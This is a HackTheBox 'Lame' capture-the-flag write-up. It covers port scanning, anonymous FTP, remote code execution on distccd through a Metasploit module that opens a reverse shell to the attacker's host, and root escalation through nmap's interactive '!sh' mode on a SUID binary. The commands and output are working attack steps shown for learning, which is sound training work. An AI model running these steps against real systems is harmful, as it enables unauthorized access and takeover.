Ti Kallisti

HackTheBox "Lame" Write-Up

Okay, this is gonna be a quickie. But the box contains a lot of the concepts that are also important in more complex boxes or real-life scenarios. So, let's take a gander.

As always, let's start with a port scan:

$ nmap -p- 10.10.10.3 Nmap scan report for 10.10.10.3 Host is up (0.037s latency). Not shown: 65530 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3632/tcp open distccd

Here I didn't use the -v or -A to keep the output simple. The first option (verbose output) is helpful when the scan takes too long, because it gives us useful information during the scan that we can already put to use before the scan is actually finished. The second parameter enables more in-depth scanning, that shows information about the services running at the open ports and the OS of the target.

So, let's go through the ports one-by-one.

Port 21, as nmap says, is the default FTP (File Transfer Protocol) port. FTP is, as the name suggests, used to transfer files. If configured insecurely, the files on an FTP server can be accessed without a password.

$ ftp 10.10.10.3 Connected to 10.10.10.3. 220 (vsFTPd 2.3.4) Name (10.10.10.3:root):

If password-less authentication is enabled, the username we have to use is "anonymous":

Name (10.10.10.3:root): anonymous 331 Please specify the password. Password:

When the service asks for a password, we just hit "Enter" to indicate we don't want to enter a password.

Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>

It seems that anonymous(=passwordless) authentication is enabled. So let's see what files are on the FTP server:

ftp> ls -la 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 65534 4096 Mar 17 2010 . drwxr-xr-x 2 0 65534 4096 Mar 17 2010 .. 226 Directory send OK.

None... Welp, before we check whether we can do other interesting things here, let's check the other ports so we don't miss something.

I cannot overstate the importance of a broad approach when enumerating. You can collect all the information you want on a service, but if you don't check every possible access vector, you might dig yourself into a rabbit hole for hours and don't progress. Sometimes that can be a learning experience, but most of the time it's just frustrating.

So, let's check the next open port, 22. This is used for SSH (Secure SHell), a protocol that allows us to interact with a CLI (Command Line Interface) of a computer over the (inter-)net. This protocol is hard to configure completely unsecure, so it is rarely an initial attack vector. In CTF-scenarios like this, it is often used to provide an access point after a player got low-privileged access, so they don't have to repeat all the steps they did to get there everytime they pause for a while. Sometimes there's a vulnerable version of an SSH server running, which could make a good initial attack vector, but it makes sense to leave checking the SSH port for the end of the enumeration.

For the next part, we need to look at two ports simultaneously, 139 and 445. This combination of ports indicates that there is an SMB (Server Message Block) server running on the target box, which is - similar to FTP - often used for File Sharing over a network. Also similar to FTP, it can be configured to allow passwordless access. When accessing SMB from a Linux machine, the most commonly used tool for that is smbclient. A very low-privilege form of access is listing the available shares. If we are allowed to do that, we can try actually accessing the shares. If not, in all likelihood we won't be allowed to do anything else either. To list the available shares with smbclient, we use the -L option:

$ smbclient -L 10.10.10.3 protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED

Welp, that didn't work. So before we spend hours trying to find a way to access SMB, let's look at the last remaining port: 3632. This is not a standardized port, but thankfully nmap tells us that this port is offering a service called "distccd". A bit of DuckDuckGoing tells us that this is the daemon for distcc. A remote way of compiling, huh? Though useful, it seems a bit dangerous if you ask me. Let's look for existing exploits, we don't have to reinvent the wheel all the time. As it happens, there is a really juicy exploit, with "command execution" in the title - exactly what we need.

On a side note: You don't always need to consult your favorite search engine to find existing exploits. If you have searchsploit, which comes pre-installed with Kali Linux, you can just enter a command like the following in your CLI:

$ searchsploit distcc ----------------------------------------------------------------- Exploit Title | Path ----------------------------------------------------------------- DistCC Daemon - Command Execution (Metasploit)| [...] ----------------------------------------------------------------- Shellcodes: No Result

Anyway, the exploit-db page tells us that there is an existing metasploit module. And while the exploit is relatively easy to pull off, I was too lazy to read in the usage of distcc enough to build it myself, so let's use the metasploit module:

$ msfconsole msf5 > search distcc [...] exploit/unix/misc/distcc_exec [...] msf5 > use exploit/unix/misc/distcc_exec

Using show options we can see a list of parameters:

msf5 exploit(unix/misc/distcc_exec) > show options [...] RHOSTS ______ RPORT 3632 [...]

The RPORT parameter is already correctly set, but the RHOSTS parameter needs to be set. Once we have done that, we can execute the exploit:

msf5 exploit(unix/misc/distcc_exec) > set RHOSTS 10.10.10.3 RHOSTS => 10.10.10.3 msf5 exploit(unix/misc/distcc_exec) > run [*] Started reverse TCP double handler on 10.10.16.63:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo DagatJzWcDt98dpE; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\n" [*] Matching... [*] B is input... [*] Command shell session 1 opened (10.10.16.63:4444 -> 10.10.10.3:32878) at 2020-01-31 13:11:35 +0100

Ladies and gentlemen, we have a shell. It doesn't really look familiar, though. That's because it's not a tty shell. There are several ways to spawn one, but I prefer to use python, as I like the programming language, a python interpreter is present on most Linux machines and the command is relatively easy to remember:

python -c 'import pty; pty.spawn("/bin/bash")' daemon@lame:/tmp$

That looks a whole lot better, doesn't it? Now, let's take a look around the file system:

daemon@lame:/tmp$ ls -la total 20 drwxrwxrwt 4 root root 4096 Jan 28 04:15 . drwxr-xr-x 21 root root 4096 May 20 2012 .. drwxrwxrwt 2 root root 4096 Jan 28 03:35 .ICE-unix -r--r--r-- 1 root root 11 Jan 28 03:35 .X0-lock drwxrwxrwt 2 root root 4096 Jan 28 03:35 .X11-unix -rw------- 1 tomcat55 nogroup 0 Jan 28 03:36 5147.jsvc_up daemon@lame:/tmp$ cd /home daemon@lame:/home$ ls -la total 24 drwxr-xr-x 6 root root 4096 Mar 14 2017 . drwxr-xr-x 21 root root 4096 May 20 2012 .. drwxr-xr-x 2 root nogroup 4096 Mar 17 2010 ftp drwxr-xr-x 2 makis makis 4096 Mar 14 2017 makis drwxr-xr-x 2 service service 4096 Apr 16 2010 service drwxr-xr-x 3 1001 1001 4096 May 7 2010 user daemon@lame:/home$ cd ftp daemon@lame:/home/ftp$ ls -la total 8 drwxr-xr-x 2 root nogroup 4096 Mar 17 2010 . drwxr-xr-x 6 root root 4096 Mar 14 2017 .. daemon@lame:/home/ftp$ cd .. daemon@lame:/home$ cd makis daemon@lame:/home/makis$ ls -la total 28 drwxr-xr-x 2 makis makis 4096 Mar 14 2017 . drwxr-xr-x 6 root root 4096 Mar 14 2017 .. -rw------- 1 makis makis 1107 Mar 14 2017 .bash_history -rw-r--r-- 1 makis makis 220 Mar 14 2017 .bash_logout -rw-r--r-- 1 makis makis 2928 Mar 14 2017 .bashrc -rw-r--r-- 1 makis makis 586 Mar 14 2017 .profile -rw-r--r-- 1 makis makis 0 Mar 14 2017 .sudo_as_admin_successful -rw-r--r-- 1 makis makis 33 Mar 14 2017 user.txt daemon@lame:/home/makis$ cat user.txt cat user.txt

And there we have our user flag! As for the rationale what we did here:

We enumerated the directory we landed in, but found nothing of interest. We then went to the "/home" directory to look through the home directories of all the users. The home directory of user "ftp" was empty, but the home directory of the user "makis" finally contained the user flag. The other two user folders might become interesting during the next step, privilege escalation. For that step, though, I have a preferred order of enumerating possible attack surfaces.

Let's first check if we can execute any commands as "root", using "sudo":

daemon@lame:/home/makis$ sudo -l [sudo] password for daemon:

If we had the rights to use sudo for any specific command, using the -l parameter would tell us right away, without asking for password. So this isn't it.

The next step would be looking for executable files with the SUID bit set, using find:

daemon@lame:/home/makis$ find / -perm -4000 -type f 2>/dev/null /bin/umount /bin/fusermount /bin/su /bin/mount /bin/ping /bin/ping6 /sbin/mount.nfs /lib/dhcp3-client/call-dhclient-script /usr/bin/sudoedit /usr/bin/X /usr/bin/netkit-rsh /usr/bin/gpasswd /usr/bin/traceroute6.iputils /usr/bin/sudo /usr/bin/netkit-rlogin /usr/bin/arping /usr/bin/at /usr/bin/newgrp /usr/bin/chfn /usr/bin/nmap /usr/bin/chsh /usr/bin/netkit-rcp /usr/bin/passwd /usr/bin/mtr /usr/sbin/uuidd /usr/sbin/pppd /usr/lib/telnetlogin /usr/lib/apache2/suexec /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/pt_chown

If you wanna know why this step makes sense, or how the parameters for the find command came together, I recommend you read my Write-Up of OverTheWire's "Bandit".

Not much out of the ordinary, but one thing should always pique your interest: nmap. Older versions of nmap, specifically versions 2.02 through 5.21, have an "interactive" mode which can help us get a root shell.

Let's check the installed nmap version:

daemon@lame:/home/makis$ nmap --version Nmap version 4.53

Bingo! Now let's use the interactive mode to escalate our privileges:

daemon@lame:/home/makis$ nmap --interactive Welcome to Interactive Mode -- press h for help nmap> !sh sh-3.2# id uid=1(daemon) gid=1(daemon) euid=0(root) groups=1(daemon)

We are still user daemon, but our euid (Effective User ID) is that of root, so everything we do is with the privileges of root. The root flag is usually in the "/root" directory, so let's look for it there:

sh-3.2# cd /root cd /root sh-3.2# ls -la total 80 drwxr-xr-x 13 root root 4096 Jan 28 03:35 . drwxr-xr-x 21 root root 4096 May 20 2012 .. -rw------- 1 root root 373 Jan 28 03:35 .Xauthority lrwxrwxrwx 1 root root 9 May 14 2012 .bash_history -> /dev/null -rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc drwx------ 3 root root 4096 May 20 2012 .config drwx------ 2 root root 4096 May 20 2012 .filezilla drwxr-xr-x 5 root root 4096 Jan 28 03:35 .fluxbox drwx------ 2 root root 4096 May 20 2012 .gconf drwx------ 2 root root 4096 May 20 2012 .gconfd drwxr-xr-x 2 root root 4096 May 20 2012 .gstreamer-0.10 drwx------ 4 root root 4096 May 20 2012 .mozilla -rw-r--r-- 1 root root 141 Oct 20 2007 .profile drwx------ 5 root root 4096 May 20 2012 .purple -rwx------ 1 root root 4 May 20 2012 .rhosts drwxr-xr-x 2 root root 4096 May 20 2012 .ssh drwx------ 2 root root 4096 Jan 28 03:35 .vnc drwxr-xr-x 2 root root 4096 May 20 2012 Desktop -rwx------ 1 root root 401 May 20 2012 reset_logs.sh -rw------- 1 root root 33 Mar 14 2017 root.txt -rw-r--r-- 1 root root 118 Jan 28 03:35 vnc.log sh-3.2# cat root.txt

And we have our root flag! Told you this would be quick, didn't I?

Thorough enumeration and information gathering are core concepts of hacking. If you have these basics down, the other steps become all the easier. So make sure to practice those skills!